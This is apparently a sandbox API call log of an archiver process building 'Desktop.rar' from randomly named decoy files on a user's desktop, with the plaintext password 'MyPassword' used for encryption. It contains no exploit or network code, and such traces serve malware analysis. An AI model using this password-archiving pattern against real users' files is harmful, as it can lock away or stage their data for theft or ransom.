0x350 [0068.444] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.444] GetTickCount () returned 0x26ff6 [0068.444] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0068.444] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0068.444] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.444] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0068.444] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="0jOnjZop-702GRg.png") returned 19 [0068.444] SetWindowTextW (hWnd=0x1028c, lpString="P4m7gaW ZT.flv") returned 1 [0068.445] GetTickCount () returned 0x26ff6 [0068.445] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0068.445] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0068.445] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0068.445] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0068.445] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2d, wMilliseconds=0x3a0)) [0068.445] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0068.445] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15977404185) returned 1 [0068.445] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x18d4, lpOverlapped=0x0) returned 1 [0068.446] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d906914, nNumberOfBytesToRead=0xfe72c, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d906914*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0068.446] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa00 [0068.446] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef970 [0068.446] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef970, Size=0x48) returned 0x1ec0a6569c0 [0068.446] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0068.446] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef970 [0068.446] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef970, Size=0x48) returned 0x1ec0a6577d0 [0068.446] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0068.446] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6569c0 | out: hHeap=0x1ec0a590000) returned 1 [0068.446] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef970 [0068.446] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde3180 [0068.446] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde3180 | out: hHeap=0x1ec0a590000) returned 1 [0068.446] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef970 | out: hHeap=0x1ec0a590000) returned 1 [0068.446] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefa00, Size=0x48) returned 0x1ec0a657050 [0068.446] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a657050, Size=0x7a) returned 0x1ec0a64a730 [0068.446] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0068.447] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a730 | out: hHeap=0x1ec0a590000) returned 1 [0068.450] GetTickCount () returned 0x27006 [0068.450] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15977877733) returned 1 [0068.450] GetTickCount () returned 0x27006 [0068.450] GetTickCount () returned 0x27006 [0068.450] GetTickCount () returned 0x27006 [0068.450] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 1 [0068.450] GetMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd610) returned 1 [0068.450] GetFocus () returned 0x102a8 [0068.451] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd610) returned 1 [0068.451] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.451] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.451] ResetEvent (hEvent=0x344) returned 1 [0068.451] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.452] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.452] ResetEvent (hEvent=0x344) returned 1 [0068.452] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.452] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.452] GetTickCount () returned 0x27006 [0068.452] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15978102276) returned 1 [0068.452] GetTickCount () returned 0x27006 [0068.452] GetTickCount () returned 0x27006 [0068.452] GetTickCount () returned 0x27006 [0068.453] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0068.453] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0068.453] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.453] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0068.453] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.453] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x1df153 [0068.453] SetFilePointer (in: hFile=0x32c, lDistanceToMove=102, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x1df1b9 [0068.453] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0068.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.453] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0068.453] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0068.453] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0068.453] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x1920, lpOverlapped=0x0) returned 1 [0068.453] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0068.453] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.453] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1962323, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x1df153 [0068.453] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x1df153 [0068.453] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef970 [0068.454] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa00 [0068.454] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefa00, Size=0x48) returned 0x1ec0a6574b0 [0068.454] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c740 [0068.454] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa00 [0068.454] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefa00, Size=0x48) returned 0x1ec0a656dd0 [0068.454] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c740 | out: hHeap=0x1ec0a590000) returned 1 [0068.454] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6574b0 | out: hHeap=0x1ec0a590000) returned 1 [0068.454] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa00 [0068.454] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2760 [0068.454] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde2760 | out: hHeap=0x1ec0a590000) returned 1 [0068.454] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefa00 | out: hHeap=0x1ec0a590000) returned 1 [0068.454] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef970, Size=0x48) returned 0x1ec0a6573c0 [0068.454] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6573c0, Size=0x7a) returned 0x1ec0a649f50 [0068.454] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a649f53*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a649f53*, lpNumberOfBytesWritten=0xe414d8140*=0x66, lpOverlapped=0x0) returned 1 [0068.454] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef970 [0068.454] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x66) returned 0x1ec0ddfdbb0 [0068.454] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656dd0 | out: hHeap=0x1ec0a590000) returned 1 [0068.454] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a649f50 | out: hHeap=0x1ec0a590000) returned 1 [0068.454] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x1e0ad9 [0068.454] CloseHandle (hObject=0x350) returned 1 [0068.454] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.454] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.454] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0068.454] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.454] FindFirstFileW (in: lpFileName="t1UTy\\rjFeGvlijme.swf", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09050 [0068.454] FindClose (in: hFindFile=0x1ec0de09050 | out: hFindFile=0x1ec0de09050) returned 1 [0068.455] CreateFileW (lpFileName="t1UTy\\rjFeGvlijme.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\t1uty\\rjfegvlijme.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0068.455] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.455] GetTickCount () returned 0x27006 [0068.455] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0068.455] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0068.455] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.455] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0068.455] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="P4m7gaW ZT.flv") returned 14 [0068.455] SetWindowTextW (hWnd=0x1028c, lpString="rjFeGvlijme.swf") returned 1 [0068.455] GetTickCount () returned 0x27006 [0068.455] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0068.455] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0068.456] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0068.456] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0068.456] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2d, wMilliseconds=0x3b0)) [0068.456] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0068.456] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15978452279) returned 1 [0068.456] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x13ec5, lpOverlapped=0x0) returned 1 [0068.457] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d918f05, nNumberOfBytesToRead=0xec13b, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d918f05*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0068.457] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.457] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.457] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa00 [0068.457] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2970 [0068.457] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2970, Size=0x48) returned 0x1ec0a656ce0 [0068.457] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0068.457] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2be0 [0068.457] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2be0, Size=0x48) returned 0x1ec0a656f10 [0068.457] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0068.457] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656ce0 | out: hHeap=0x1ec0a590000) returned 1 [0068.457] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde3510 [0068.457] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde3480 [0068.457] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde3480 | out: hHeap=0x1ec0a590000) returned 1 [0068.457] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde3510 | out: hHeap=0x1ec0a590000) returned 1 [0068.457] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefa00, Size=0x48) returned 0x1ec0a6577d0 [0068.457] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6577d0, Size=0x7a) returned 0x1ec0a64a460 [0068.457] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656f10 | out: hHeap=0x1ec0a590000) returned 1 [0068.457] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a460 | out: hHeap=0x1ec0a590000) returned 1 [0068.458] GetTickCount () returned 0x27006 [0068.458] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15978616470) returned 1 [0068.458] GetTickCount () returned 0x27006 [0068.458] GetTickCount () returned 0x27006 [0068.458] GetTickCount () returned 0x27006 [0068.458] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.458] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.458] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.458] ResetEvent (hEvent=0x344) returned 1 [0068.458] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.459] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.459] ResetEvent (hEvent=0x344) returned 1 [0068.459] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.462] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.462] ResetEvent (hEvent=0x344) returned 1 [0068.462] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.465] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.465] GetTickCount () returned 0x27015 [0068.465] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15979328059) returned 1 [0068.465] GetTickCount () returned 0x27015 [0068.465] GetTickCount () returned 0x27015 [0068.465] GetTickCount () returned 0x27015 [0068.465] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0068.465] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0068.465] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.465] ResetEvent (hEvent=0x33c) returned 1 [0068.465] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.466] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0068.466] ResetEvent (hEvent=0x33c) returned 1 [0068.466] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.466] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0068.466] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0068.466] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.466] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x1e0ad9 [0068.466] SetFilePointer (in: hFile=0x32c, lDistanceToMove=105, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x1e0b42 [0068.467] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0068.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.467] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0068.467] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0068.467] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0068.467] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x13f70, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x13f70, lpOverlapped=0x0) returned 1 [0068.468] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0068.468] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.468] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1968857, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x1e0ad9 [0068.468] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x1e0ad9 [0068.468] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa00 [0068.468] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2790 [0068.468] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2790, Size=0x48) returned 0x1ec0a656ce0 [0068.468] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0068.468] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2f10 [0068.468] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2f10, Size=0x48) returned 0x1ec0a6569c0 [0068.468] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0068.468] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656ce0 | out: hHeap=0x1ec0a590000) returned 1 [0068.468] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2f10 [0068.468] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2be0 [0068.469] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde2be0 | out: hHeap=0x1ec0a590000) returned 1 [0068.469] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde2f10 | out: hHeap=0x1ec0a590000) returned 1 [0068.469] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefa00, Size=0x48) returned 0x1ec0a6577d0 [0068.469] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6577d0, Size=0x7a) returned 0x1ec0a64aa00 [0068.469] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64aa03*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64aa03*, lpNumberOfBytesWritten=0xe414d8140*=0x69, lpOverlapped=0x0) returned 1 [0068.469] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa00 [0068.469] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x69) returned 0x1ec0a65a270 [0068.469] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6569c0 | out: hHeap=0x1ec0a590000) returned 1 [0068.469] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64aa00 | out: hHeap=0x1ec0a590000) returned 1 [0068.469] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x1f4ab2 [0068.469] CloseHandle (hObject=0x350) returned 1 [0068.469] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.469] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.469] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0068.469] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.469] FindFirstFileW (in: lpFileName="t1UTy\\x ddEQMGCa7.ots", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09c50 